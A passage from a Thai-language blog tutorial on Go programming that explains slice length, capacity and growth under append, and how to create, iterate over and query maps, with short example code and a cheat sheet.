&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1A;&#xE32;&#xE07;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE1A; s1</p><pre><code>// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; slice &#xE08;&#xE32;&#xE01; slice &#xE40;&#xE14;&#xE34;&#xE21;
s2 := s1[2:5] // s2 &#xE08;&#xE30;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE32;&#xE27; 3 &#xE19;&#xE31;&#xE1A;&#xE08;&#xE32;&#xE01; 2 &#xE16;&#xE36;&#xE07; 4
fmt.Println(&quot;\ns2:&quot;, s2)
fmt.Println(&quot;len(s2):&quot;, len(s2))
fmt.Println(&quot;cap(s2):&quot;, cap(s2))</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-27-at-1.29.29-PM.png" class="kg-image" alt loading="lazy" width="1892" height="140" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-27-at-1.29.29-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-27-at-1.29.29-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/Screenshot-2024-07-27-at-1.29.29-PM.png 1600w, https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-27-at-1.29.29-PM.png 1892w" sizes="(min-width: 720px) 720px"></figure><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE01;&#xE34;&#xE19; Capacity &#xE02;&#xE2D;&#xE07; s2 (Capacity &#xE40;&#xE14;&#xE34;&#xE21;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A; 8) &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1A;&#xE23;&#xE23;&#xE08;&#xE38;&#xE2D;&#xE22;&#xE39;&#xE48; 3 &#xE01;&#xE25;&#xE48;&#xE2D;&#xE07;</p><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE17;&#xE35;&#xE48;&#xE40;&#xE14;&#xE34;&#xE21;&#xE40;&#xE15;&#xE47;&#xE21; &#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE17;&#xE35;&#xE48;&#xE27;&#xE48;&#xE32;&#xE07;&#xE40;&#xE2B;&#xE25;&#xE37;&#xE2D; Go &#xE08;&#xE30;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE17;&#xE35;&#xE48;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE35;&#xE48;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE01;&#xE27;&#xE48;&#xE32;&#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;</p><pre><code>// &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE19;&#xE25;&#xE49;&#xE19; capacity
s2 = append(s2, 7, 8, 9, 10, 11, 12)
fmt.Println(&quot;\ns2 &#xE2B;&#xE25;&#xE31;&#xE07;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE01;&#xE34;&#xE19; capacity:&quot;, s2)
fmt.Println(&quot;len(s2) &#xE43;&#xE2B;&#xE21;&#xE48;:&quot;, len(s2))
fmt.Println(&quot;cap(s2) &#xE43;&#xE2B;&#xE21;&#xE48;:&quot;, cap(s2))</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-27-at-1.39.24-PM.png" class="kg-image" alt loading="lazy" width="1692" height="134" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-27-at-1.39.24-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-27-at-1.39.24-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/Screenshot-2024-07-27-at-1.39.24-PM.png 1600w, https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-27-at-1.39.24-PM.png 1692w" sizes="(min-width: 720px) 720px"></figure><p>&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Slice &#xE02;&#xE19;&#xE32;&#xE14;&#xE40;&#xE25;&#xE47;&#xE01; (Capacity &lt; 1024) &#xE40;&#xE0A;&#xE48;&#xE19; s2 &#xE19;&#xE31;&#xE49;&#xE19; Go &#xE08;&#xE30;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE17;&#xE35;&#xE48;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE35;&#xE48;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE01;&#xE27;&#xE48;&#xE32;&#xE40;&#xE14;&#xE34;&#xE21; 2 &#xE40;&#xE17;&#xE48;&#xE32; &#xE41;&#xE15;&#xE48;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Slice &#xE02;&#xE19;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE21;&#xE32;&#xE01; &#xE46; (Capacity &gt;= 1024) Go &#xE08;&#xE30;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE17;&#xE35;&#xE48;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE35;&#xE48;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE27;&#xE48;&#xE32;&#xE40;&#xE14;&#xE34;&#xE21; 25%</p><p><strong>&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE19;&#xE31;&#xE49;&#xE19; Go &#xE08;&#xE30;&#xE22;&#xE49;&#xE32;&#xE22;&#xE01;&#xE25;&#xE48;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE01;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE17;&#xE35;&#xE48;&#xE40;&#xE14;&#xE34;&#xE21; (9 &#xE01;&#xE25;&#xE48;&#xE2D;&#xE07;) &#xE21;&#xE32;&#xE22;&#xE31;&#xE07;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE17;&#xE35;&#xE48;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE35;&#xE48;&#xE08;&#xE38;&#xE44;&#xE14;&#xE49; 16 &#xE01;&#xE25;&#xE48;&#xE2D;&#xE07;!</strong></p><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong> &#xE08;&#xE33;&#xE19;&#xE27;&#xE19; % &#xE02;&#xE2D;&#xE07;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE17;&#xE35;&#xE48;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE35;&#xE48; Go &#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE43;&#xE2B;&#xE49; &#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE1A;&#xE31;&#xE07;&#xE04;&#xE31;&#xE1A; &#xE41;&#xE15;&#xE48;&#xE40;&#xE01;&#xE34;&#xE14;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE31;&#xE07;&#xE40;&#xE01;&#xE15;&#xE08;&#xE32;&#xE01;&#xE1E;&#xE24;&#xE15;&#xE34;&#xE01;&#xE23;&#xE23;&#xE21;&#xE02;&#xE2D;&#xE07;&#xE21;&#xE31;&#xE19;</p><p>&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21;&#xE01;&#xE32;&#xE23;&#xE22;&#xE49;&#xE32;&#xE22;&#xE02;&#xE2D;&#xE07;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE41;&#xE25;&#xE30;&#xE17;&#xE23;&#xE31;&#xE1E;&#xE22;&#xE32;&#xE01;&#xE23; &#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19;&#xE16;&#xE49;&#xE32;&#xE17;&#xE23;&#xE32;&#xE1A;&#xE02;&#xE19;&#xE32;&#xE14;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE25;&#xE48;&#xE27;&#xE07;&#xE2B;&#xE19;&#xE49;&#xE32; &#xE40;&#xE23;&#xE32;&#xE04;&#xE27;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; make() &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Capacity &#xE44;&#xE27;&#xE49;&#xE15;&#xE31;&#xE49;&#xE07;&#xE41;&#xE15;&#xE48;&#xE41;&#xE23;&#xE01;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p>&#xE40;&#xE23;&#xE32;&#xE21;&#xE31;&#xE01;&#xE08;&#xE30;&#xE2A;&#xE48;&#xE07; Slice &#xE1C;&#xE48;&#xE32;&#xE19; Function &#xE40;&#xE1E;&#xE23;&#xE32;&#xE30;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19;&#xE01;&#xE27;&#xE48;&#xE32; Array &#xE42;&#xE14;&#xE22; Slice &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE1C;&#xE48;&#xE32;&#xE19; Function &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE49;&#xE32;&#xE07;&#xE2D;&#xE34;&#xE07; (By reference) &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE1B;&#xE23;&#xE30;&#xE2B;&#xE22;&#xE31;&#xE14;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33; &#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE04;&#xE31;&#xE14;&#xE25;&#xE2D;&#xE01;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19; Array</p><pre><code>// &#xE43;&#xE0A;&#xE49; Slice
func processSlice(data []int) {
    // &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; data
}

func main() {
    s := []int{1, 2, 3, 4, 5}
    processSlice(s)  // &#xE43;&#xE0A;&#xE49;&#xE44;&#xE14;&#xE49;
    processSlice(s[:3])  // &#xE2A;&#xE48;&#xE07;&#xE1A;&#xE32;&#xE07;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE44;&#xE14;&#xE49;
}</code></pre><figure class="kg-card kg-code-card"><pre><code>Slice
   - &#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19; &#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE02;&#xE19;&#xE32;&#xE14;&#xE44;&#xE14;&#xE49;
   &#xE0A;&#xE37;&#xE48;&#xE2D; := []&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;{&#xE04;&#xE48;&#xE32;1, &#xE04;&#xE48;&#xE32;2, ...}
   &#xE0A;&#xE37;&#xE48;&#xE2D; := make([]&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;, &#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE32;&#xE27;, &#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE38;)
   
   &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;
   append(slice, &#xE04;&#xE48;&#xE32;)   // &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE04;&#xE48;&#xE32;
   len(slice)          // &#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE32;&#xE27;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19;
   cap(slice)          // &#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE38;
   slice[start:end]    // &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; slice &#xE22;&#xE48;&#xE2D;&#xE22;</code></pre><figcaption>Cheat Sheet!</figcaption></figure><h3 id="map-function map() { [native code] }1"><em>Map</em></h3><p>Map &#xE43;&#xE0A;&#xE49;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE41;&#xE1A;&#xE1A; Key-value &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE44;&#xE14;&#xE49;&#xE40;&#xE23;&#xE47;&#xE27; &#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE41;&#xE1A;&#xE1A;&#xE44;&#xE21;&#xE48;&#xE40;&#xE23;&#xE35;&#xE22;&#xE07;&#xE25;&#xE33;&#xE14;&#xE31;&#xE1A; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE04;&#xE25;&#xE49;&#xE32;&#xE22;&#xE01;&#xE31;&#xE1A; Dictionary &#xE02;&#xE2D;&#xE07; Python &#xE41;&#xE25;&#xE30; Object &#xE2B;&#xE23;&#xE37;&#xE2D; Map &#xE02;&#xE2D;&#xE07; Java</p><p>Value &#xE02;&#xE2D;&#xE07; Map &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17;&#xE43;&#xE14;&#xE01;&#xE47;&#xE44;&#xE14;&#xE49; <strong>&#xE22;&#xE01;&#xE40;&#xE27;&#xE49;&#xE19; Function</strong> &#xE42;&#xE14;&#xE22;&#xE02;&#xE19;&#xE32;&#xE14;&#xE02;&#xE2D;&#xE07; Map &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE44;&#xE14;&#xE49;&#xE41;&#xE1A;&#xE1A;&#xE44;&#xE14;&#xE19;&#xE32;&#xE21;&#xE34;&#xE01;</p><pre><code>ages := map[string]int{
	&quot;Alice&quot;: 30,
	&quot;Bob&quot;:   25,
}
fmt.Println(ages[&quot;Alice&quot;])

ages[&quot;Charlie&quot;] = 35
delete(ages, &quot;Bob&quot;)

age, exists := ages[&quot;David&quot;]
if !exists {
	fmt.Println(&quot;&#xE44;&#xE21;&#xE48;&#xE1E;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE02;&#xE2D;&#xE07; David&quot;)
} else {
	fmt.Println(&quot;David &#xE2D;&#xE32;&#xE22;&#xE38;&quot;, age)
}</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-31-at-11.04.19-AM.png" class="kg-image" alt loading="lazy" width="1700" height="96" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-31-at-11.04.19-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-31-at-11.04.19-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/Screenshot-2024-07-31-at-11.04.19-AM.png 1600w, https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-31-at-11.04.19-AM.png 1700w" sizes="(min-width: 720px) 720px"></figure><p>make() &#xE08;&#xE30;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE23;&#xE23;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE41;&#xE25;&#xE30;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32; Map &#xE17;&#xE35;&#xE48;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; &#xE42;&#xE14;&#xE22; make() &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE02;&#xE19;&#xE32;&#xE14;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE44;&#xE14;&#xE49; &#xE40;&#xE0A;&#xE48;&#xE19; make(map[string]int, 5)</p><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Empty Map &#xE44;&#xE14;&#xE49;&#xE17;&#xE31;&#xE49;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; make() &#xE41;&#xE25;&#xE30;&#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE49; make() &#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE14;&#xE49;&#xE32;&#xE19;&#xE25;&#xE48;&#xE32;&#xE07; &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE49; mak(), Go &#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Map &#xE40;&#xE1B;&#xE25;&#xE48;&#xE32;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE23;&#xE23;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE43;&#xE2B;&#xE49;</p><p>&#xE17;&#xE31;&#xE49;&#xE07;&#xE2A;&#xE2D;&#xE07;&#xE27;&#xE34;&#xE18;&#xE35;&#xE43;&#xE2B;&#xE49;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE19;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; &#xE41;&#xE15;&#xE48;&#xE2D;&#xE32;&#xE08;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE41;&#xE15;&#xE01;&#xE15;&#xE48;&#xE32;&#xE07;&#xE43;&#xE19;&#xE14;&#xE49;&#xE32;&#xE19;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E; &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; make() &#xE2D;&#xE32;&#xE08;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE14;&#xE35;&#xE01;&#xE27;&#xE48;&#xE32;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Map &#xE02;&#xE19;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE0D;&#xE48; &#xE40;&#xE1E;&#xE23;&#xE32;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE23;&#xE23;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE25;&#xE48;&#xE27;&#xE07;&#xE2B;&#xE19;&#xE49;&#xE32;</p><pre><code>// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Empty Map &#xE14;&#xE49;&#xE27;&#xE22; make() &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE02;&#xE19;&#xE32;&#xE14;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;
// Go &#xE08;&#xE30;&#xE08;&#xE2D;&#xE07;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE17;&#xE35;&#xE48;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE43;&#xE19;&#xE02;&#xE19;&#xE32;&#xE14;&#xE40;&#xE25;&#xE47;&#xE01;&#xE43;&#xE2B;&#xE49;
    userAges := make(map[string]int)

    // &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;
    userAges[&quot;Alice&quot;] = 30
    userAges[&quot;Bob&quot;] = 25
    fmt.Println(&quot;userAges:&quot;, userAges)
    
// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Empty Map &#xE14;&#xE49;&#xE27;&#xE22; make() &#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE02;&#xE19;&#xE32;&#xE14;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;
    scores := make(map[string]int, 5)

    // &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;
    scores[&quot;Math&quot;] = 95
    scores[&quot;English&quot;] = 88
    scores[&quot;Science&quot;] = 92
    fmt.Println(&quot;scores:&quot;, scores)
    
// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Empty Map &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE49; make()
    m := map[string]int{}
    
    // &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;
    m[&quot;x&quot;] = 10
    m[&quot;y&quot;] = 20
    fmt.Println(&quot;m:&quot;, m)</code></pre><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Map &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Value &#xE40;&#xE1B;&#xE47;&#xE19; Slice &#xE44;&#xE14;&#xE49;&#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE14;&#xE49;&#xE32;&#xE19;&#xE25;&#xE48;&#xE32;&#xE07;</p><pre><code>// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Map &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Value &#xE40;&#xE1B;&#xE47;&#xE19; Slice
userHobbies := make(map[string][]string)

// &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;
userHobbies[&quot;Alice&quot;] = []string{&quot;reading&quot;, &quot;swimming&quot;}
userHobbies[&quot;Bob&quot;] = []string{&quot;gaming&quot;, &quot;cooking&quot;}
fmt.Println(&quot;userHobbies: &quot;, userHobbies)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-31-at-11.16.08-AM.png" class="kg-image" alt loading="lazy" width="2000" height="55" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-31-at-11.16.08-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-31-at-11.16.08-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/Screenshot-2024-07-31-at-11.16.08-AM.png 1600w, https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-31-at-11.16.08-AM.png 2126w" sizes="(min-width: 720px) 720px"></figure><p>&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; range &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE27;&#xE19;&#xE25;&#xE39;&#xE1B;&#xE1C;&#xE48;&#xE32;&#xE19; Map</p><pre><code>// &#xE27;&#xE19;&#xE25;&#xE39;&#xE1B;&#xE1C;&#xE48;&#xE32;&#xE19; map &#xE14;&#xE49;&#xE27;&#xE22; for
for name, hobbies := range userHobbies {
	fmt.Printf(&quot;%s&apos;s hobbies: &quot;, name)
	for i, hobby := range hobbies {
		if i &gt; 0 {
			fmt.Print(&quot;, &quot;)
		}
		fmt.Print(hobby)
	}
	fmt.Println()
}</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-31-at-11.16.49-AM.png" class="kg-image" alt loading="lazy" width="1896" height="98" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-31-at-11.16.49-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-31-at-11.16.49-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/Screenshot-2024-07-31-at-11.16.49-AM.png 1600w, https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-31-at-11.16.49-AM.png 1896w" sizes="(min-width: 720px) 720px"></figure><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE14;&#xE49;&#xE32;&#xE19;&#xE25;&#xE48;&#xE32;&#xE07; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; value, exists := map[key] &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE21;&#xE35;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE02;&#xE2D;&#xE07; key &#xE42;&#xE14;&#xE22; exists &#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19; true &#xE16;&#xE49;&#xE32;&#xE21;&#xE35; Key &#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; Map</p><pre><code>// &#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE21;&#xE35; Key &#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; Map &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;
name := &quot;Charlie&quot;
age, exists := userAges[name]
if exists {
	fmt.Printf(&quot;%s is %d years old\n&quot;, name, age)
} else {
	fmt.Printf(&quot;%s is not in the map\n&quot;, name)
